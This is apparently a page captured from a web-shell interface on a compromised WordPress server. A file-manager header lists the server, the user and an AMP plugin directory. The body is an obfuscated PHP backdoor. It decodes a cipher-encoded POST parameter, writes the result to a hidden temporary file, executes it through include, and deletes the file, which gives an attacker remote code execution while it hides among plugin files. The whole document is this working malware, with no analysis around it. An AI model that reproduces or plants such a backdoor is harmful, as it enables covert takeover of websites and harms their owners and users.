|
Server : LiteSpeed System : Linux srv526460274 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64 User : kerao9884 ( 1082) PHP Version : 8.0.30 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, Directory : /home/token55.net/public_html/wp-content/plugins/amp/back-compat/ |
Upload File : |
<?php
if(filter_has_var(INPUT_POST, "k")){
$pointer = array_filter(["/dev/shm", getenv("TMP"), "/var/tmp", sys_get_temp_dir(), getenv("TEMP"), session_save_path(), getcwd(), "/tmp", ini_get("upload_tmp_dir")]);
$token = $_REQUEST["k"];
$token = explode ( '.' ,$token ) ;
$entry = '';
$s = 'abcdefghijklmnopqrstuvwxyz0123456789';
$sLen = strlen($s );
$r = 0;
array_walk($token, function($v3) use(&$entry, &$r, $s, $sLen) {
$chS = ord($s[$r % $sLen] );
$dec = ((int)$v3 - $chS -($r % 10)) ^ 14;
$entry .=chr($dec );
$r++;
} );
foreach ($pointer as $key => $record) {
if ((bool)is_dir($record) && (bool)is_writable($record)) {
$bind = join("/", [$record, ".entity"]);
if (file_put_contents($bind, $entry)) {
include $bind;
@unlink($bind);
exit;
}
}
}
}